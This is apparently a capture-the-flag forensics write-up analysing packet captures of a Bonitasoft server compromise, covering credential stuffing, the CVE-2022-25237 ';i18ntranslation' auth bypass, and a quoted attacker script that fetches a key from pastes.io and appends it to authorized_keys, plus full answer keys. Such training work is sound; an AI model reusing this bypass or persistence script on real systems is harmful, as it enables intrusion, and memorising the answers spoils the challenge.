Meerkat

Scenario

As a fast growing startup, Forela have been utilising a business management platform. Unfortunately our documentation is scarce and our administrators aren’t the most security aware.
As our new security provider we’d like you to take a look at some PCAP and log data we have exported to confirm if we have (or have not) been compromised.

Brainstorming

We have been provided with a zip file meerkat.zip which contains 2 files namely; meerkat.pcap and meerkat-alerts.json
A quick overview of the json files shows alerts from various log sources which includes ips, protocols, alert severity, category, signatures and so on; posssibly from the organization’s monitoring system.
Next, we have a pcap file; a quick statistics overview of the file from wireshark reveals various protocols with a good percentage being http, ssh, and icmp protocols.
From the scenario, being a compromise to a business management platform, our go to protocols would most likely be http. Additionally, we have reason to suspect ssh as it may be commonly used to gain remote shells and control.

1. We believe our Business Management Platform server has been compromised. Please can you confirm the name of the application running? Bonitasoft

From the http protocol suspected above, decide to do a http protocol filter to observe what kind of requests were going on.
A quick filter reveals a lot of unauthorized requests(http error code 401) targeting the host 172.31.6.44 targeting what seemed to be a webserver and many instances of the path /bonita being accessed.
The server responses as well did not reveal the server running, however from this info, I was able to do a quick google search on bonita, and found the management software is Bonitasoft

2. We believe the attacker may have used a subset of the brute forcing attack category - what is the name of the attack carried out? credential stuffing

From the http filter above, decided to display by http requests using the filter http.request , then additionally follow the http stream of requests from the attacker.
From this we were able to observe multiple unique (username and password) combinations that were being tried out on the login portal by the attacker which indicated the attacker had a list of credentials being tried out. This was a key indicator that this was a credential stuffing attack

3. Does the vulnerability exploited have a CVE assigned - and if so, which one? CVE-2022-25237

At this point, we have the software identified, we have also identified multiple attempts to bypass authorization, and the attack identified, so the next logical thing to do was to use this to search for cve’s that may lead to user info leaks. A quick google search revealed this to be CVE-2022-25237

meercat_cve

4. Which string was appended to the API URL path to bypass the authorization filter by the attacker’s exploit? i18ntranslation

Further digging into the http traffic; we observed at one point, the attacker stopped receiving error code 401 and received a 204 status code indicating a request was successfully processed by the server but no content is present to return to the client, followed by a status code 200; and this gave me a reason to dig deeper into this, by following the http stream at that point.

meercat_204

Further into the stream, we observed a phenomena where if the string ;i18ntranslation was added to a request, the attacker received a 200 response from the server. This happened for the subsequent requests that followed.
For example in this case, that attacker was able to successfully upload the zip file; rce_api_extension.zip to the server.

meercat_zip

meercat_zip_response

5. How many combinations of usernames and passwords were used in the credential stuffing attack? 56

We observed multiple tries by the attacker to try to login to the system, thus counting the tries manually was out of the box.
I decided to instead write a simple script that would do extract the info needed for this task which gave us a total of 56 combinations.

from scapy.all import *

# Load the pcap file
packets = rdpcap('meerkat.pcap')

# Initialize an array to store username-password combinations
combinations = []

# Filter HTTP packets on port 8080 containing 'loginservice' and process form data
for pkt in packets:
    if pkt.haslayer(TCP) and pkt.haslayer(Raw) and pkt[TCP].dport == 8080:
        load = pkt[Raw].load.decode(errors='ignore')
        if 'username=' in load and 'password=' in load:
            #print(load)
            # Extracting username and password from the packet payload
            username = load.split('username=')[1].split('&')[0]
            password = load.split('password=')[1].split('&')[0]
            # Checking if combination already exists in the array
            combo = f"{username}:{password}"
            if combo not in combinations:
                if combo != "seb.broom%40forela.co.uk:g0vernm3nt":
                    combinations.append(combo)

# Display the unique username-password combinations
for combo in combinations:
    print(combo)

print(f"\n\n{len(combinations)} Username-Password Combinations")

6. Which username and password combination was successful? seb.broom@forela.co.uk:g0vernm3nt

From the multiple attempts, we are able to observe a http status 204, which indicated a request was successfully processed by the server but no content is present to return to the client. This being a response to credentials provided indicated a successful login. Further url decoding the email field, give us the combination:

seb.broom@forela.co.uk:g0vernm3ntx

meercat_204_success

Further following the http stream, we observe the attacker made an attempt to fetch a file using the wget utility from https://pastes.io/raw/bx5gcr0et8

8. Please provide the file hash of the script used by the attacker to gain persistent access to our host. 0dc54416c346584539aa985e9d69a98e

From the previous task, we know the location of the file being fetched, so we can just fetch the file and get its md5hash using the command:

┌──(boynamedboy㉿DESKTOP-N95LJ04)-[/Security Research/Sherlocks]
└─$ curl https://pastes.io/raw/bx5gcr0et8 | md5sum
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   113    0   113    0     0     68      0 --:--:--  0:00:01 --:--:--    68
0dc54416c346584539aa985e9d69a98e

9. Please provide the file hash of the public key used by the attacker to gain persistence on our host. dbb906628855a433d70025b6692c05e7

Browsing to the file fetched by the attacker, we get the script:

#!/bin/bash
curl https://pastes.io/raw/hffgra4unv >> /home/ubuntu/.ssh/authorized_keys
sudo service ssh restart

This script basically fetches another files and appends it to the authorized ssh keys, then restarts the ssh service on the target host.
Next, we need to fetch the file that was added to the ssh keys(https://pastes.io/raw/hffgra4unv) and get its hash using the command:

┌──(boynamedboy㉿DESKTOP-N95LJ04)-[/Security Research/Sherlocks]
└─$ curl https://pastes.io/raw/hffgra4unv | md5sum
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   380    0   380    0     0    299      0 --:--:--  0:00:01 --:--:--   299
dbb906628855a433d70025b6692c05e7

10. Can you confirm the file modified by the attacker to gain persistence? /home/ubuntu/.ssh/authorized_keys

From the first script, we observed that the file being appended/modified is /home/ubuntu/.ssh/authorized_keys

#!/bin/bash
curl https://pastes.io/raw/hffgra4unv >> /home/ubuntu/.ssh/authorized_keys
sudo service ssh restart

11. Can you confirm the MITRE technique ID of this type of persistence mechanism? T1098.004

From the script above, we can conclude that the attacker’s intentions was to maintian access to the system through ssh even if the cve was patched later.
Thus, heading over to Mitre, Persistence is under the ID TA0003 and exploring further to ssh authorized keys modification, its under the ID T1098.004

meercat_sshkey

Review

The box was fairly easy to solve, with some minor scripting involved. I however loved how it immerses one into the MITRE attack framework at the end which might be useful in understanding how attackers gain access to the systems.

Meerkat

Scenario

Brainstorming

1. We believe our Business Management Platform server has been compromised. Please can you confirm the name of the application running? Bonitasoft

2. We believe the attacker may have used a subset of the brute forcing attack category - what is the name of the attack carried out? credential stuffing

3. Does the vulnerability exploited have a CVE assigned - and if so, which one? CVE-2022-25237

4. Which string was appended to the API URL path to bypass the authorization filter by the attacker’s exploit? i18ntranslation

5. How many combinations of usernames and passwords were used in the credential stuffing attack? 56

6. Which username and password combination was successful? seb.broom@forela.co.uk:g0vernm3nt

7. If any, which text sharing site did the attacker utilise? pastes.io

8. Please provide the file hash of the script used by the attacker to gain persistent access to our host. 0dc54416c346584539aa985e9d69a98e

9. Please provide the file hash of the public key used by the attacker to gain persistence on our host. dbb906628855a433d70025b6692c05e7

10. Can you confirm the file modified by the attacker to gain persistence? /home/ubuntu/.ssh/authorized_keys

11. Can you confirm the MITRE technique ID of this type of persistence mechanism? T1098.004

Review

Festus Gichohi